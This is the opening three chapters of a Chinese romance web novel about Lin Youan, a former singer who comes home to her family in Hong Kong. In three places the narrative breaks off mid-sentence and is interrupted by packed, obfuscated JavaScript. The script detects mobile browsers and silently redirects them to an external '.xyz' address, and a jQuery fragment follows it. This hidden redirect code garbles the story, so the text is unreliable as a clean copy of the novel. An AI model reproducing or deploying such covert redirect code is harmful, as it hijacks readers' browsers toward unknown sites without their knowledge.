《吻她时他手在抖[港]》 1. 第 1 章 二零二四年的最后一天,伦敦飞回的航班在深夜落地。 北方城市的严冬不容小觑,风里头带着冰渣子,大厅出口的开合门方一打开,就争先恐后往人衣领里钻。 林柚安不由得裹紧羊绒披肩,推着为数不多的行李,加快了脚步。 打上一辆出租车,将地址递给司机。 “劳驾。” 声音带着深深的倦意,随意吐出的两个字像是滚落在五线谱上的两个音符,莫名地很有味道。 司机循声往后视镜看了一眼,精致雪白的脸蛋,神色恹恹,却不妨碍她好看地跟明星一样。 ——好像确实在电视上见过,却又想不起来。 察觉到前排的目光,林柚安低头压了压帽檐,再次将披肩裹紧。 出租车驶上机场高速,路灯与路灯之间明暗交织,阴影不停地掠过她的脸庞。 手机震了两下,是林栖发来的消息,问她落地了没。 看着信息,那张雪山一样没有温度的脸庞终于流露笑意。 她飞快地打字回复:【在路上了,半小时后见。冷死了,给我热一大杯红酒,切记切记!】 出租车下了机场高速,在驶过数条洋溢着跨年喜庆氛围的长街后,拐进一条安静的老街,目的地到了。 林柚安扶着行李箱拉杆,街的另一边是一家颇具异域风情的小酒馆,招牌是Echoes&Elixirs。 橘黄色的光从落地玻璃窗透出来,将寂静的老街镀上一层暖色,窗内人头攒动,台上有乐队演奏,看上去热闹不已。 林柚安迫不及待想喝杯热酒暖身,然而刚一动身,脚步却迟疑了。 看着一街之隔的酒馆,眼神几分涣散。 直到又一阵冷风将她吹回过神,这才用力紧了紧拉杆,向酒馆走去。 大门上的铃铛“叮铃——”一声响起,人们纷纷回头看过来。 林柚安的到来惹来不小的喧嚷,她扬起脸,满脸明媚,径直走向吧台。 林栖喊着她的名字从吧台出来,接过行李箱,放置妥当后,进厨房端出一碗冒着热气的淡黄色浓汤。 “我酒呢?”林柚安抱过好友,紧接着纵起眉抗议。 “大晚上喝什么酒,这是玉米奶油浓汤,我亲自做的,你尝尝!”林栖挑了个精致的搪瓷小勺放进碗里,又问,“饿不饿?想吃什么自己去厨房拿。” “不饿不饿。”林柚安端起汤碗,浓郁的奶味伴着玉米的香甜,热腾腾淌进胃里,浑身舒暖。 但是她喝得太急,喝到第二口的时候,胃部一紧,灼烧感滚滚而来。 “咋啦?”见她扶着肚子,林栖赶紧挪来椅子让她坐。 “没事,”等不适减轻,林柚安故意捏着鼻子,“太难喝了,你这个新手老板,就别抢厨师的活了。” “瞎说,我就这一样做得好吃,都做过一百遍了,不可能失手。”林栖从碗里舀了一勺送进嘴里,“没问题啊。” 见她认真尝味的样子,林柚安偏头翘了翘嘴角。 “刚开过全国巡回演唱会,就不签经纪公司改开酒馆了,哪有你这样的?”她揶揄。 “副业而已,我哪懂经营啊,全靠这帮老伙计支撑着,”林栖笑了笑,“做独立音乐人,又不是退圈,没有那些条条框框,反而更自在,你看我还有空接手个酒馆搞搞副业呢,比上那些不想上的综艺强多了。” “确实,这样自由自在的,更适合你。” “两年过得真快,”林栖感慨,“你这次回来打算待多久?” “一周。” “才一周?”好友面露失望,“不多玩几天?” “有啥好玩的,维城就你一个朋友。” 林柚安目光在酒馆扫了一圈,两层,二楼通向露台。乐手唱歌的舞台很大,各种乐器俱全,台下满坐,人们脸上洋溢着跨年的愉快。 今天不对外营业,来的都是老板的亲友。 原来林栖的朋友有这么多,而林柚安在这个城市的朋友,只有她一个。 或许,还算不上。 很难想象她们上一次见面,是两年前,林柚安人生中最黑暗,也是最潦倒的时候。 更早之前,则说交恶也不为过。 因为一个男人。 现在想来真的可笑。 “听说,这家酒馆的上一任老板是陆野的外公?”林柚安撑着脑袋问林栖。 “上哪听的八卦?不是他外公,是他外公的好朋友……不过是不是也差不多了,他是混迹在这里长大的。” “……哦。” “对了,我后天要开个小型歌友会,算是给歌迷们一个交代。” “一个交代……” “是啊,一段旅程的结束,另一端旅程的开始,总有人说我不续约就是退圈了……喂?”林栖见林柚安心不在焉,拿胳膊肘撞了撞她,“睡啦?” “没,没有。” “刚好你放假回来玩,我想邀请你来唱几首,”林栖瞧着她,“你,还想重新唱歌吗?” 林柚安歪着脑袋看她半晌,撑在耳后的手顺势捋过长发,扯了扯嘴角说:“暂时没有回到舞台的打算,但是帮你站台,可以考虑。” “那你好好考虑,时间不多了。”林栖凑近看着她,“别一直躲在国外了,你可以唱的,那些陈年旧闻,挡不了你。” 林柚安哼了一声,避开对方的目光。 默了数秒,缓缓开口道:“为啥不请陆野,天王帮你站台耶!” “哦——”不等林栖回答,她露出顽皮的嘴脸,“你们想保持地下恋情,这样比较刺激是不是?” “刺激个头,不要岔开话题!” 林柚安笑着躲过林栖的拳头,胃里又是一阵刺痛,她忍着肠胃的翻滚握紧了拳头,头埋在臂弯里闷笑。 “两位才女,别光顾着聊天啊,唱个歌呗。”那边有人喊。 林柚安抬头应了一声,拍拍林栖的手臂,“我去玩玩儿。” 说着便大步离开吧台,坐上台上的高脚椅,很随意地唱起来。 唱到一半的时候,门口“叮铃——”一声,陆野推门而入。 显然是刚演出完,急匆匆赶来的。演出服外随披了件黑色大衣,黑色口罩上方露出一双明亮的眼睛,锋利锐意,但是看向吧台这边时,眼尾立马就弯了。 陆野的到来引起不小的轰动,夹杂着起哄声。 他一进门就直奔吧台,边走边抬手跟众人打招呼,打招呼的手又往下压了压,让大家别闹。 目光逡巡到台上唱歌的人后,惊讶一闪而过,他旋即摘下口罩,隔着人群,笑着朝林柚安挥了挥手。 后者仿似没有看到,余光却无意识地跟着他游移到吧台。小情侣的拥抱跟打闹映入眼帘,又在逐渐模糊的视野里混成一团。 这首歌的背景音乐有海浪翻滚的声音,那声音渐渐掩盖了主旋律,汹涌地无从抵抗,瞬间就将意识吞没。 第一首歌就这样唱完,台下的观众赞口不绝。 “不愧是林柚安!” “好听死了,再唱一首吧柚安!” 林柚安抱起吉他,意识继续被不存在的海浪声裹挟着,跟随一股不知名的情绪,手指拨动琴弦,唱了起来。 “害我哭那么多哭到纽约下大雨……” 余光早已从吧台收了回来,然而眼前还是那么浑浊不清,好像什么也看不到。 似呢喃的歌声吸引了林栖的注意,她的目光转向舞台,陆野跟着也往这边看了一眼,随后拉起林栖的手,“跟我去个地方。” “干嘛?” “有好东西给你看。” 两人沿着楼梯上了二楼。 几分钟后,零点的烟花震耳欲聋,淹没了游丝般的歌声。老街被璀璨的烟火照亮,窗外五光十色,大家一股脑跑到街上,为新年的到来狂欢。 林柚安留在高脚椅上,目光空洞地看着那扇落地窗。 . 两天后,林栖的歌友会如期举行。 场馆不大,观众都是粉丝会成员。 主题是“拥抱崭新的旅程”。 进行过半,林柚安抱着吉他出现,掀起了不小的高潮。有人欢呼,也有人窃窃私语,甚至皱眉摇头—— 介于她消失在娱乐圈前留下的传闻,和不太良好的风评。 她唱的是自己的成名曲,当年也曾风靡一时。 “千年以前,新长出的枝桠,撕裂我心脏萌芽,掠夺我血脉开花……” 一曲唱完,有一段互动时间,她拿着麦克风说:“谢谢——时间过得真快,想当年写这首歌时,我还是个一根经的小女孩,热烈偏执,不懂得放过自己。” 她顿了顿,眼神颓然下来。 “现在也是。” 全场安静下来。 “总有人说,这首歌不知道什么意思,其实很简单,就是一个犯中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765443|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二病的女孩,自虐上瘾,喜欢被爱而不得的痛苦折磨,还以为这种痛苦,是得到爱的必经之旅。但是后来,拒绝了她的男孩子喜欢上另一个女孩。爱自始至终也没有流经她,她得到的,就只有痛苦而已。很蠢吧?” 台下声音窸窣,她是在说自己的故事吗?自曝这么刺激? 然而林柚安很快展露笑颜。 “不过这一切早就过去了,我不会,也再也写不出,这么中二病的歌了。” “说说今天的主角吧,你们可能不知道我跟林栖是好朋友,甚至有传言我俩关系恶劣。其实我自己也没想到会和她成为朋友。她见过我最丑,最难堪的样子,我离开的这两年,一个人在伦敦念书,只有她依着我的时区和作息,不睡觉地打来视频,讨论一段前奏的好坏,几个和弦的组合……她要开始新的旅程了,我们都是,我们都会有美好的未来。” 说着,她再次将林栖请上台。 “作为新的旅程的礼物,这个送给你。” 她从口袋里拿出一个盒子,打开,里面是一条晃得人睁不开眼的项链,上百颗钻石彼此勾连成一条星河,蝴蝶吊坠璀璨夺目,光影流转,仿佛拥有呼吸。 肉眼可知其价值连城的礼物掀起全场的震惊,林栖尤为吃惊。 迎着好友“你要干嘛”的控诉眼神,林柚安动作流利地为对方佩戴好,开心地问台下:“好不好看?” 这一小会儿,已经有人查到这条项链的来历。它是不久前苏富比拍卖会的压轴,被港城林氏集团的总裁以七千万美金拍得,全球只此一条。 惊呼声此起彼伏,对林柚安身份的种种猜测应运而生。 “难怪当年那么大的风波也能被压下去,原来家底这么厚。” “老天爷什么时候也赐给我一个这样的闺蜜!” “可是林栖的话,应该不会觉得舒服,这毕竟太贵重了。” “就算她是千金大小姐,这种一掷千金的作法也有点过头了,再好的朋友也会觉得烫手吧。” “要是不接的话,这种场合,谁也下不了台,这大小姐,也太想一出是一出了。” …… 林柚安在一众地震的瞳孔中笑意盈盈,随手将盒子扔掉,看好友的眼神是纯粹的欣赏。 “很好看,很配你,去年你生日我在国外,这个也当是生日礼物吧!” 她笑得很美,越美,就越让人觉得破碎。 林栖看她数秒,表情由震惊回归为平静。 “谢谢。”她微笑着收下了。 林柚安深深舒了一口气,笑得更加灿烂。 . 翌日,傍晚。 林柚安推着行李箱步入机场候机厅,手握一张回港城的机票。 纤瘦的身影在人海里浮浮沉沉,来电铃响,她停下脚步。 面无表情地对着显示“顾鸣修”的屏幕,好一会儿才接起。 “什么事?”语气里透着不耐烦。 “爸让我接你,跟你确认一下航班。” 男人的声音没有情绪,有秩序地,干净又简洁的腔调抛出一串航班号。 林柚安说:“回家的路我记得,不用你接。” 那边未作回应,转而问她:“伦敦音乐学院那边是打算中止学业?” 林柚安攥紧手机,没有立刻作答。 这种临时又仓促的决定听上去确实荒唐,但她做的荒唐事又不止这一件。放在她失败又失意的人生里,这事都不值一提。 电话那头很安静,像是一种耐心的等待。 过了一会儿,她说:“是。” 那边没有多余的话,沉声道了句:“知道了。” 半小时后,林柚安登机,落座头等舱。 广播里正用多国语言播送起飞前的安全公告,手机震了一下,林鸣修发来信息: 【退学事宜正在办理中,公寓里留下的东西会派人寄回,还有没有什么重要的东西,需要一同寄回?】 林柚安扫了一眼,将手机丢到一边不理。双手抱臂,蜷缩起双腿,靠在窗上,合起眼睛准备睡觉。 从什么时候开始,她胡搞乱搞,而林鸣修默不作声,干脆利落地在身后处理烂摊子,已经成为一种模式? 就像去伦敦前闯的那场大祸一样。 奇怪。 林栖见证过她最难堪时的样子,因此与她成为朋友。 林鸣修也见证过,却让她愈发感到厌恶。 2. 第 2 章 三个半小时后,飞机从维市飞达港城。 南方沿海城市的空气湿漉漉的,暴雨刚过,路面泛上一层潮湿,被深夜路灯投下的光照得明暗分明。 刚出机场就看到路边停着的那辆大型路虎,漆黑的车身,令人想到沉默地蛰伏在夜里的狼或豹。 见她走近,男人从驾驶座下车,紧衬身型的黑色西服,外搭一件风衣,修长挺立,一丝不苟。 林柚安无视了男人,继续向前走。 路虎从后慢悠悠跟上,车窗打开,林鸣修手肘支着车窗,不紧不慢地说:“计程车可能要等四十分钟以上。” 林柚安抬眼望了望计程车排队处推着大包小包,黑压压的人群,迟疑着停下了脚步。 林鸣修亦将车停下,下车将林柚安的行李放进后备箱。 弯腰放置行李的时候,他稍作抬眼,沿着后备箱开启的角度从后看去,女人正对着空气发呆。紧裹的浅咖色披肩和长发一同被风吹起,人也好似在风中摇晃。 林鸣修瞳孔暗了一秒,随即站直身子,走上前去。 “爸让我这段时间看着你,有什么需要尽管开口。” 林柚安回过神来。 “都叫上爸了,”她哼笑一声,“我是不是要说声抱歉,妨碍你在爸面前跟进跟出摇尾巴了?” 漆黑的长发被港口的风吹得凌乱,嘴角锋利的一抹笑,如残阳将近。 林鸣修看她两秒,平静地为她打开车门。 林柚安坐到副驾,空调和坐垫早已调到适宜的温度。 “唔该。”她随口道。 林鸣修见她系好安全带,便将车启动,驶离机场。 车内寂静无声,林柚安面向窗外的雨雾,不屑投给司机一眼。 路程有点远,正好再睡一觉。 闭上眼睛,又觉得是不是该跟林栖说一声,就这么不告而别,似乎不太好。 于是在脑子里打起腹稿。 半梦半醒,腹稿越打越厚,分不清是梦话,还是糊话—— 抱歉。 第一句应该这么说。 时隔两年,再重的石头也该放下了。 我以为早就翻篇,所以才登上回维市的飞机,就是想验证一下,是不是真的放下了。 谁知道在看到他的那一刻,我立马就知道,根本没有。 两年了,你不停地挑战新的旅程,我却还停留在原地。 抱歉,我没有办法面对你,我心里还想着他。 那条项链挺贵的,但再贵也填不了我心里的惭愧……要不,你打我一顿好了? 算了,我还是跑吧。 项链你姑且收着,等我好了,我们再叙。 伦敦那边我不去了,你说得对,总是躲着也不是个办法。 我从十八岁起,就一个人去国外念音乐了,那些课程,早读烂了,兴趣了了。做音乐,也没兴趣了,唱歌,也没兴趣了。 想回家了,挺累的。 不知道那个家还有没有我的位置。我有个讨人厌的哥哥,一丁点血缘关系也没有,却比我更像是父亲的孩子。说起来这事挺复杂的,有机会再慢慢告诉你。 我妈身体不好,特别是眼睛,我总想多些时间陪她。 她不会嫌弃我的,就是我爸…… 算了,不想提他。 …… 想起林鹤堂,林柚安彻底睡不着了,她探进手袋摸索手机,打算将刚才想到的话挑一两句发给林栖。就发,“临时改变主意,回家了,拜。” 半天摸索不到,倒是摸到一个手感陌生的软袋。 拿出来一看,是个装首饰的软袋,眼镜盒大小,林柚安将里面的东西倒出来,正是她送给林栖的那条项链。 除此之外还有一张便签,是一张涂鸦,一只手正在比“嘘”。 林柚安看着项链,看着那个“嘘”,怔了两分钟,然后仰头靠在座椅上。 何必说呢?林栖什么都看出来了。 她心虚的,自以为是的赠礼,也被还回来了。 思绪在风中打转,和她的自尊心一样,无处安放。 车内安静地要命,林鸣修眼球动了动,瞥见她微微后仰的修长脖颈,苍白得刺眼,泪水安静地淌下来,她浑然未觉。 “柚安。”许久未出声,他嗓音微哑。 林柚安猛地回神,匆忙用手背抚了把脸,装作若无其事。 “接下来有什么打算?”林鸣修问。 林柚安没有回答他,反问:“我走时,你还在叫我大小姐,顾鸣修,我许你改口了?” “没有什么是一成不变的,你也该改口叫哥哥,”林鸣修平视前方,话音淡淡,“要是实在改不了口,至少把名字叫对。” 林柚安红唇挑了挑,“为了做我爸的儿子,连姓都不要了,这样豁得出去,做什么不能成功呀?” 林鸣修不再说话,也不恼。 林家的别墅坐落在半山,名叫夏山郡。 十一点,别墅仍旧灯火通明,为迎接大小姐的归家,上上下下都很忙碌。 车方停下,林柚安就冲下来,箭步奔向在前厅等候的尹晴,抱住母亲许久都不撒手。 林鸣修徐徐走在她身后,才进门,就被两个堂弟叫住。 林景昀和林景烁是大伯的二儿子和三儿子,景昀是公司项目开发中心总经理,景烁今年刚毕业。 两人看到林鸣修,都叫“大哥”。 林柚安闻声,露出嫌恶的表情。 林鸣修站在林柚安身后,淡笑回应:“辛苦你们了,这么晚还陪着妈。” “这不是柚安姐回家吗?二叔又不在港城,我妈派我们先来陪着,明天二叔回了,再一块儿聚聚。”林景烁笑言。 “爸不在?”林柚安抬头看向尹晴。 “你爸在澳洲谈生意,最快也要明天才能到家。”尹晴敲了敲林柚安的脑袋,“谁叫你说回就回,头一天才打招呼?想一出是一出的。” 听到林鹤堂不在,林柚安浑身松懈下来,胃也跟着搅动了一下,“咕噜——”一声。 林鸣修的眼珠不动声色地横过来。 尹晴笑着皱眉,“饿了吧,快进来吃饭。” 林柚安说着不饿,还是被尹晴拉进餐厅,按在饭桌上。 宵夜不多,一样生滚粥,一样花胶螺头乌鸡汤,一样白灼菜心依次排放。 自小,他们家的菜式都很简单,但食材一定是精挑细选,调味也一流。林柚安的舌头被养地很刁,以至于在国外那段时间,几乎什么也吃不进去。 林景昀见林鸣修得空,找上他说:“大哥,抱歉这么晚打搅,其实我还想找你谈谈新瑞那块地的项目,二叔不在,有几点我拿不准主意,想听听你的看法。” 林柚安捏着汤匙的手一顿,眉头皱了皱,听见林鸣修的声音,节奏稳健。 “这么说就见外了,去我书房谈吧。” 两人跟尹晴和林柚安打过招呼,便移步楼上,林鸣修回头叫林景烁,“你也来吧。” 林景烁立刻跟了上去,“婶婶,柚安姐,我也去跟大哥他们学习学习。” 尹晴和蔼地一抬手,“去吧。” 林柚安被那几声“大哥”叫得五脏翻滚,索性将汤匙一扔,“不吃了。” “吃这么点儿……”尹晴抚着林柚安的长发,看着她,舍不得挪眼。 女儿苍白瘦削的脸蛋映在她的眸子里,她心疼,却欲言又止,不敢细问,把女儿不想触碰的伤口再挖开一次,只是用不容置疑的口气跟她说:“好好在家养着,回来就别再走了。” “难说,我跟那个人呆不了两天。”林柚安捂着翻滚的胃,努力忽略从那里传来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765444|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不适感。 “谁啊?你爸,还是鸣修?”尹晴问。 “当然是那个哈巴狗,”林柚安觑着几人上楼的方向,“我走的时候,景昀哥已经是开发中心负责人了,顾鸣修只不过是个打杂的,再之前,他只不过爸身边的一个保镖,谁拿正眼瞧过他?大伯还说他……这才几年,都改口叫上大哥了,我是不是也得管他叫一声大哥?” 尹晴叹了口气,默了几秒方才开口:“我欠他母亲什么,你是知道的。至于你,当然也应该叫他一声大哥,多一个像鸣修那样靠得住的哥哥照顾你,不好么?不明白为什么你从小到大跟他不对付。” 听着母亲的话,林柚安的表情肉眼可见地变得难看,但她不敢再说什么,再说,就是对孟姨不敬了,她再不懂事,也知道死者为大。 林鸣修没有什么不好的,就是太好,才显得林家的亲生女儿一无是处。 就是太好,才叫人无法不怀疑他的野心和图谋。 “不说这个了,我吃饱了,妈,早些休息吧,熬夜对眼睛不好。” 林柚安伴着尹晴回到卧室,陪母亲吃过药,又聊了许久,等到尹晴睡着,已经将近一点。林柚安帮母亲掖好被子,轻轻关上房门,这才拖着步子走回自己卧室。 卧室在三楼,林鸣修书房的隔壁。 回卧室势必要路经书房,书房的门开了一半,里头只亮了盏台灯,彼时景昀两兄弟已经谈完事情,回客房睡觉了,只有林鸣修一个人坐在案前。 台灯的微光照亮他的脸,他眉弓微微蹙起,正凝神审阅面前的文件,修挺的鼻梁上架着一副金丝眼镜,衬衫的袖口卷至小臂。 林柚安从门前经过,目光随着脚步越过墙边厚重的胡桃木书架,来到林鸣修脸上时,后者刚好抬起眼,两道没有任何感情色彩的目光相撞,又随着她的脚步走远而错开。 直到林柚安卧室的关门声响起,林鸣修的视线才重新落回纸面。 卧室和她走时一样,连床单的花色,桌面的摆放都未曾变过。 暖黄色的灯光早已被调到最适合的亮度,林柚安仍旧觉得刺眼,抬手按灭,只留了床前一盏夜灯。 佣人依林柚安吩咐,拿来一个纸箱,装她不要的东西。 过期的杂志、过时的衣服、不再中意的首饰、玩偶、琴谱…… 又从隐秘的抽屉翻出小时候的日记,将写过的页面撕下来,再撕成碎片,和本子一起丢进纸箱。 一时,昏暗的房间中,只有纸张被撕碎的“呲啦”声,像一条看不见的皮鞭,在空气中一下下抽打。 大小姐的眉眼隐藏在阴影处,不甚清晰,整个人似被隔绝在之中。 想要上前帮忙的佣人望而却步。 最后一本日记撕完,手有点麻了,林柚安坐在地上,背靠着床,闷头喘息了一会儿,接着便打开随身带回的行李箱,将东西一一拿出来整理。 最里层有一个胡桃夹子木偶,一只手大小,漆身斑驳得不像样子,跟满屋华丽的陈设有些格格不入。 佣人见她擦拭木偶的时候,五官舒展许多,便问:“大小姐,需不需要送去专业保养?” 林柚安将木偶放在床头,它的一只腿已经站不住了,只能靠着夜灯。 “不用了,”她放松地靠在床沿,仰头望着天花板,“就是个玩意儿而已。” 那木偶她也忘了是怎么来的,就是碰巧,在堆成山的各种玩具中,获得了主人的偏爱,被她带到世界各地的床头,带着它飞来飞去,成为她无足轻重的小习惯。 佣人拖着被塞满的纸箱从大小姐卧室出来,碰见从书房出来的林鸣修。 “小姐不要的?” “是的,少爷。”佣人见林鸣修有意查看,便停下脚步,“怪可惜的。” 林鸣修看了那箱子一眼,淡声道:“先搬去我书房吧。” 3. 第 3 章 林鹤堂的飞机在第二天下午降落。 尹晴带着一儿一女先行到会馆打点家宴。 林柚安穿了一身像样的小礼服,项间一粒光泽度饱满的珍珠吊坠,头发梳成半马尾,妆容由专人打理过,美得像一尊古希腊雕塑。 只是神色依旧是恹恹的,坐在桌前,还有些许紧张。 一行稳健有力地脚步声传来,林柚安下意识紧了紧出汗的拳头。 林鹤堂在她心目中一向威严,步伐生风,神采依旧。 只是几年未见,鬓边多了些白发,林柚安觉得刺眼,便不再往父亲的脸上看。 一家人略微寒暄后落座,林鹤堂第一件事就是质问女儿:“你把我送你的生日礼物送人了?” 林柚安目光闪躲一瞬,语气却满不在乎,“送给我就是我的了。” 林鹤堂方要发作,手臂被妻子按住,“柚安才回来。” 父亲转而看了女儿一眼,饱含失望与责备。 像这样的眼神,林柚安无比熟悉。 两人说话期间,林鸣修默不作声地在旁沏茶,林鹤堂爱喝大红袍,一向是林鸣修亲自看茶。 此时茶刚沏好,茶香浮动,稍解了这紧绷的气氛。 尹晴岔开话题问林鹤堂:“大哥一家说好一块儿来的,静娴方才却给我发消息,说下次再聚,你知道出了什么事吗?” 林鹤堂呷了一口茶说:“是我叫他们不用来的,简单吃个饭就行了,又不是什么大事。” 尹晴轻声责备:“人多热闹嘛,柚安好不容易回来。他们家两个儿子昨天就来了,今早又被叫走,拂人好意不好。” 林鹤堂跟妻子说话时,语气明显缓和下来,哼笑一声道:“无事不登三宝殿,他们两夫妻已经拿景烁的事烦我好几次了,这回要是来,又少不了那一套。” “景烁进金融投资中心没有什么不好的,名校毕业,又有华尔街的实习经验。” “看来静娴平时没少给你灌米汤。”林鹤堂轻声一笑,“景烁他要是跟着景琛或是景昀从基层干起,拿实绩说话,即便是差点,我也一点意见没有。一毕业就空降副总监,胃口有点太大了。简历再光鲜,嘴再甜,就冲这野心,我就不喜欢。” 将茶杯里的茶喝完,他道:“那个部门,我是打算留给鸣修的。” 林鹤堂说着,看了林鸣修一眼,眼神无太多波动,不经意流露出的认可,还是轻易刺进林柚安眼睛里,那种感觉,像是被什么蛰了一下。 林鸣修淡声对父亲说:“关键是景烁他对这个部门认知不是很清晰,昨天聊天时试了他一下,他的履历含水量比较高,对四海寰宇的运作,有很多想当然的成分在。” 林鹤堂轻哼一声,“我就知道他在国外玩比学多。” 父子就着这个话题延伸,又谈了许多。 在林柚安的印象中,父亲的话少到一个月难得听上十句。 父女间的对话大多不欢而散,相处模式是一个对另一个失望,另一个就更加不成器,如此恶性循环。 如果不是在这个挂名大哥面前,也许永远也看不到父亲如此侃侃而谈的一面,以及如此认可又欣赏的眼神。 菜摆上桌,关于公司的话题暂告一段落。 这家会馆算是林家的小食堂,厨师深谙他们家每一个人的口味,连许久不回家的林柚安也有被照顾到,几碟小炒都是她最爱吃的。 闻到熟悉的家乡味,林柚安胃口上来,夹了许多。吃了两口后,又不想吃了。 碗里堆着几条吃不进去的蛏子,林鹤堂不喜欢孩子挑食、浪费,林柚安瞅准父亲跟林鸣修说话的功夫,打算快速将其丢进骨碟。 才夹起来,身旁的林鸣修就将碗递了过来。 林柚安还没反应过来,筷子先一步松开,蛏子掉进林鸣修的碗里。 似已成肌肉记忆,不需要多说什么,甚至不需要过脑子,这是不是这几年唯一没变的东西? 她后知后觉地看了他一眼,对方浑不在意,继续跟父亲交谈,看都不看过来一眼。 多管闲事。 不知哪里升起一股不爽,林柚安又将碗里的香菜挑出来,林鸣修依旧接过去。 他不挑食,她嘴刁,她不吃的他都吃。 林柚安余光偷瞧着他,不管是香菜还是蛏子肉,林鸣修都放进嘴里匀速咀嚼,咽下后方才开口说话。 他和少时不一样了。 岁月真是慷慨,将他雕刻地成熟、稳重,赋予了初见时,那个说话也会发抖的男孩威严与气魄。 当然还有成熟男人该有的深邃轮廓,与宽厚的胸膛。 他看上去,不再像少时那样伶仃清瘦,好欺负了。 肩宽腰窄,肌肉匀称,个高腿长。 谁都敬畏他三分。 但林柚安偏偏不信邪。 她再次举筷,先是夹了一大筷子菜放进自己碗里,而后将里面的姜片、小米辣、干辣椒统统挑出来丢给林鸣修。 这回他终于扭头,目光自上而下打过来,并无恼意。 而后他收回目光,和着米饭,不紧不慢地将姜片、小米辣、干辣椒送入口中,仍是慢条斯理地咀嚼,若要开口说话,或听林鹤堂说话,便放下筷子,说完听完再启筷。 林柚安的眉头纵了起来,瞄了眼桌对面的父亲,见他正在慢慢喝汤,再次将筷子探了出去。这次才动手,手背就挨了一记。 尹晴低声责她:“还没玩够?” 林柚安悻悻将手收了回来。 尹晴命侍者给林鸣修上水,后者的嘴角泛起一层潮红,尹晴又赶紧命人送冰块。 “嘴怎么了?”林鹤堂问。 “吃辣了,没事的,喝点水就好。”林鸣修无甚在意,似乎还带着几分笑意,放佛只是觉得好玩。 林柚安心说,我又没有逼他吃。 林鹤堂出去接电话的功夫,尹晴转而责怪林鸣修:“你也是,她给你你就吃。她坏得很,有的是亏给你吃。” 林鸣修不说话,只是笑笑。 林鹤堂接完电话,进来对林鸣修说:“老黎下月来港城,体检你给我延一延。” “爸,体检都安排好了,别再延了。” 林鹤堂面露不悦,“延一下怎么了?我要陪老黎。” “不能再拖了,本来去年就该做的,拖到今年已经是晚了,黎老那边我去安排,酒局移后,不差这一天。” 林鸣修话音恭敬不减,却有一丝强硬的味道在,林鹤堂居然没有坚持,只是面露些许不耐地说:“那老黎那边,你给我调开时间。” “没问题。”林鸣修道。 “对了,你的眼睛是不是也该复查了?”林鹤堂望向尹晴,“我记得,是这个月?” 尹晴说:“前些天就复查过了。” “结果昨天刚出来,一切指标正常。”林鸣修补充。 “我才不像你,连体检都不去,我的眼睛每半年复查一次,从来没有迟到过,”尹晴隔着林柚安,拍了拍林鸣修的手背,“这是孟悦的眼睛,我怎么能不好好保护?” 林鸣修温声一笑。 林鹤堂点头道:“没问题就好。” 林柚安坐在林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765445|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸣修与尹晴中间,听着这个十二岁时突然闯入自己家庭的男人叫自己父母爸妈,心脏像爬了一圈蚂蚁,沿着边缘向内啃食,细微的疼痛沿着内部一点一点加剧,却触摸不到,也无力去改变。 这个想法或许偏执,但这三个人是不是才更像是一家,自己则可有可无,无了也没人在乎? 林鸣修的声音将林柚安在乌云里打转的思绪拉了回来。 “你也该做个全身体检。”他轻声说。 林柚安瘦削的肩背,略微凹陷的脸孔投射在男人的瞳孔里。 他的眼睛略高于她,目光笼罩下来,带给人一种柔和,关照的错觉,然而一闪即逝。 “说的是,柚安,你在国外有没有定期做体检啊,瘦得不成样子。”尹晴心疼地看过来。 父母在场,林柚安不得不将“不要你管”四个字咽下。 话咽下了气却咽不下,她睨着林鸣修,挑了挑唇:“真周到,是当大内总管的料。” 林鸣修似未听到,语气平和,却仍旧透着一丝强硬,“我去安排,你人到就行,我会提醒你空腹。” 林柚安抿紧唇角,一股子烦躁,扭头戳着碗里不愿意吃的半只海参不说话。 只片刻,林鸣修的碗再次递了过来。 林柚安看他一眼,一筷子海参连同辣椒一起,重重压进林鸣修碗里。 . 亚热带气候的港城,拥有无比温和的冬季。 林柚安披了件羊毛披肩,去顶楼花园吹风。 半山别墅的午夜很安静,没有伦敦公寓楼下偶尔发疯的醉汉,和汽车鸣笛,也不像在维市时,昼夜颠倒,始终挂记着某首没写完的歌,梦里也在跟制作人打架。 然而却更加无法入眠。 满天星辰在头顶铺展开来,她望着北方发了会儿呆,摸了摸口袋,从烟盒里抽出一只细长的女士烟斜咬进唇间,再摸出打火机,抡了几下,火星刚冒出来就灭了。 林柚安摆弄了几下火机,许是潮了。 林鸣修的声音从身后不远处传来,回头一看,人从远处的榕树下走过来,穿一身栗色薄款家居服,双手插在兜里。 “什么时候学会抽烟了?”他问,“不是在唱歌吗?” “嘁,早不唱了。” “别跟爸妈说。” “往后有什么打算?”林鸣修问。 林柚安厌烦地皱了皱眉,不理会他,低头将烟夹在中指与无名指间,一下一下拨弄齿轮。 